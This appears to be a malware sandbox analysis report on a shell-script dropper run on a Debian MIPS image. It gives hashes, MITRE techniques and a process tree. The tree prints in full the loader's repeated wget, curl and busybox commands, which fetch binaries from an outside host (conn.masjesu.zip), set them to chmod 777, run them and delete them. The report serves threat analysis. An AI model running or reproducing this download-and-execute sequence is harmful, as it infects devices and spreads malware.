aaad3d3b898cf3204217f188774c2477d9391651aa55bd95695042031a69d7ee

Analysis

max time kernel
76s
max time network
78s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
12/11/2024, 02:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
aaad3d3b898cf3204217f188774c2477d9391651aa55bd95695042031a69d7ee.sh
Size 10KB
Sample241112-dagadaskgt
SHA256 aaad3d3b898cf3204217f188774c2477d9391651aa55bd95695042031a69d7ee
MD5 825433197e199652541c6c8536e0fb74
SHA1 235f8a967317a01097435b6ffe89396a6b3ac3ca
SHA512 8edd37f31eb1e0d7c76224150b9eb5b0fcfc83969736414a8b1f9ee583911d5ce620c10c4551b23f21e3ec9530262ff6c4e2b614057543aab484b644c2bc0b5d
SSDEEP 192:nRoKye9QYDqOsLzghJNwjrULzghJNw/QYDqOl:nGKye9QYDqOsLz0JNwjYLz0JNw/QYDq4
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
872	chmod
921	chmod
928	chmod
991	chmod
1019	chmod
752	chmod
900	chmod
977	chmod
817	chmod
956	chmod
970	chmod
984	chmod
914	chmod
935	chmod
998	chmod
759	chmod
879	chmod
893	chmod
942	chmod
777	chmod
886	chmod
907	chmod
963	chmod
1005	chmod
1012	chmod
825	chmod
846	chmod
949	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
829	curl
911	curl
939	curl
945	wget
946	curl
762	wget
875	wget
910	wget
917	wget
932	curl
973	wget
974	curl
995	curl
763	curl
938	wget
960	curl
969	busybox
899	busybox
913	busybox
918	curl
1002	curl
747	curl
903	wget
920	busybox
959	wget
751	busybox
822	curl
889	wget
904	curl
1009	curl
1018	busybox
882	wget
934	busybox
952	wget
953	curl
1011	busybox
798	curl
876	curl
962	busybox
987	wget
988	curl
997	busybox
771	busybox
811	busybox
828	wget
839	busybox
853	wget
897	curl
727	wget
824	busybox
892	busybox
976	busybox
1016	curl
871	busybox
906	busybox
924	wget
948	busybox
980	wget
981	curl
983	busybox
756	curl
783	wget
890	curl
927	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS	curl
File opened for modification	/tmp/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb	curl
File opened for modification	/tmp/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp	curl
File opened for modification	/tmp/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS	curl
File opened for modification	/tmp/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw	curl
File opened for modification	/tmp/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp	curl
File opened for modification	/tmp/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw	curl
File opened for modification	/tmp/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x	curl
File opened for modification	/tmp/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT	curl
File opened for modification	/tmp/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG	curl
File opened for modification	/tmp/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs	curl
File opened for modification	/tmp/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO	curl
File opened for modification	/tmp/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x	curl
File opened for modification	/tmp/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4	curl
File opened for modification	/tmp/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG	curl
File opened for modification	/tmp/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4	curl
File opened for modification	/tmp/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT	curl
File opened for modification	/tmp/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG	curl
File opened for modification	/tmp/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb	curl
File opened for modification	/tmp/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA	curl
File opened for modification	/tmp/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO	curl
File opened for modification	/tmp/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs	curl
File opened for modification	/tmp/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG	curl
File opened for modification	/tmp/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4	curl
File opened for modification	/tmp/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA	curl
File opened for modification	/tmp/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4	curl
File opened for modification	/tmp/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO	curl
File opened for modification	/tmp/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO	curl

/tmp/aaad3d3b898cf3204217f188774c2477d9391651aa55bd95695042031a69d7ee.sh
/tmp/aaad3d3b898cf3204217f188774c2477d9391651aa55bd95695042031a69d7ee.sh
1⤵
PID:720
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:723
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - System Network Configuration Discovery
  PID:727
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - System Network Configuration Discovery
  PID:751
- /bin/chmod
  chmod 777 jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  ./jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm jIWIZHSIKFMmhtCPMmOfSMsF63smgAwYZO
  2⤵
  PID:754
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:756
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  PID:758
- /bin/chmod
  chmod 777 M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  ./M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - Executes dropped EXE
  PID:760
- /bin/rm
  rm M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  PID:761
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - System Network Configuration Discovery
  PID:762
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - System Network Configuration Discovery
  PID:771
- /bin/chmod
  chmod 777 p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  ./p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - Executes dropped EXE
  PID:779
- /bin/rm
  rm p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  PID:782
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - System Network Configuration Discovery
  PID:783
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:798
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - System Network Configuration Discovery
  PID:811
- /bin/chmod
  chmod 777 V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  ./V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  PID:820
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:822
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - System Network Configuration Discovery
  PID:824
- /bin/chmod
  chmod 777 6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  ./6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm 6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  PID:827
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - System Network Configuration Discovery
  PID:828
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:829
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - System Network Configuration Discovery
  PID:839
- /bin/chmod
  chmod 777 3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  ./3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - Executes dropped EXE
  PID:847
- /bin/rm
  rm 3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  PID:852
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - System Network Configuration Discovery
  PID:853
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - System Network Configuration Discovery
  PID:871
- /bin/chmod
  chmod 777 fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  ./fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  PID:874
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - System Network Configuration Discovery
  PID:875
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  PID:878
- /bin/chmod
  chmod 777 bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  ./bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  PID:881
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - System Network Configuration Discovery
  PID:882
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  PID:885
- /bin/chmod
  chmod 777 TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  ./TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  PID:888
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - System Network Configuration Discovery
  PID:889
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - System Network Configuration Discovery
  PID:892
- /bin/chmod
  chmod 777 R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  ./R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm R5V8jEwbqVcOyumrcrac0wC6F5KztvZZSs
  2⤵
  PID:895
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  PID:896
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - System Network Configuration Discovery
  PID:899
- /bin/chmod
  chmod 777 oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  ./oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm oyWcuwpIS1xlivmtnN5DlvEShcrDKyQFpS
  2⤵
  PID:902
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - System Network Configuration Discovery
  PID:903
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - System Network Configuration Discovery
  PID:906
- /bin/chmod
  chmod 777 ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  ./ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm ZnFLW72zwEztg8U2BbOyKAxQH9JrDibjfG
  2⤵
  PID:909
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - System Network Configuration Discovery
  PID:910
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - System Network Configuration Discovery
  PID:913
- /bin/chmod
  chmod 777 hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  ./hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm hqX4oN8CwcPh6cBO8mMeMBQRngUd1mnauA
  2⤵
  PID:916
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - System Network Configuration Discovery
  PID:917
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - System Network Configuration Discovery
  PID:920
- /bin/chmod
  chmod 777 0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  ./0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm 0S8W6GbeyV83d8oppmfzbfesGfZwqQy1jb
  2⤵
  PID:923
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - System Network Configuration Discovery
  PID:924
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - System Network Configuration Discovery
  PID:927
- /bin/chmod
  chmod 777 M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  ./M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm M1ZMfgvusr946aK3Qj726I6bsQM3otb99x
  2⤵
  PID:930
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  PID:931
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - System Network Configuration Discovery
  PID:934
- /bin/chmod
  chmod 777 p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  ./p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm p7ZZDlGQIsI9RJRd1j3oIHP7kB9TgD8JU4
  2⤵
  PID:937
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - System Network Configuration Discovery
  PID:938
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  PID:941
- /bin/chmod
  chmod 777 fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  ./fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm fUqVMkK1T4nSNkVNlZlnxaukfGLXWVC2ZG
  2⤵
  PID:944
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - System Network Configuration Discovery
  PID:945
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - System Network Configuration Discovery
  PID:948
- /bin/chmod
  chmod 777 bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  ./bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm bhofxkiDfA5VXa2vGvR24rD8VX8hc8H4N4
  2⤵
  PID:951
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - System Network Configuration Discovery
  PID:952
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  PID:955
- /bin/chmod
  chmod 777 TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  ./TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm TNDPHlt99CG7MMKvP666wLfDEKgRTPOcgT
  2⤵
  PID:958
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - System Network Configuration Discovery
  PID:959
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - System Network Configuration Discovery
  PID:962
- /bin/chmod
  chmod 777 V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  ./V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm V0GRNam17AbIMbWz1fSh3H5tVuwmHwczGp
  2⤵
  PID:965
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  PID:966
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - System Network Configuration Discovery
  PID:969
- /bin/chmod
  chmod 777 6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  ./6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  - Executes dropped EXE
  PID:971
- /bin/rm
  rm 6TWPobTYg3GYMZdIzGWokEO8Aukb93U8Zw
  2⤵
  PID:972
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - System Network Configuration Discovery
  PID:973
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - System Network Configuration Discovery
  PID:976
- /bin/chmod
  chmod 777 3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/3LgSDwmnqX8nM80EnHicitQFQ7ZTDJW0ZO
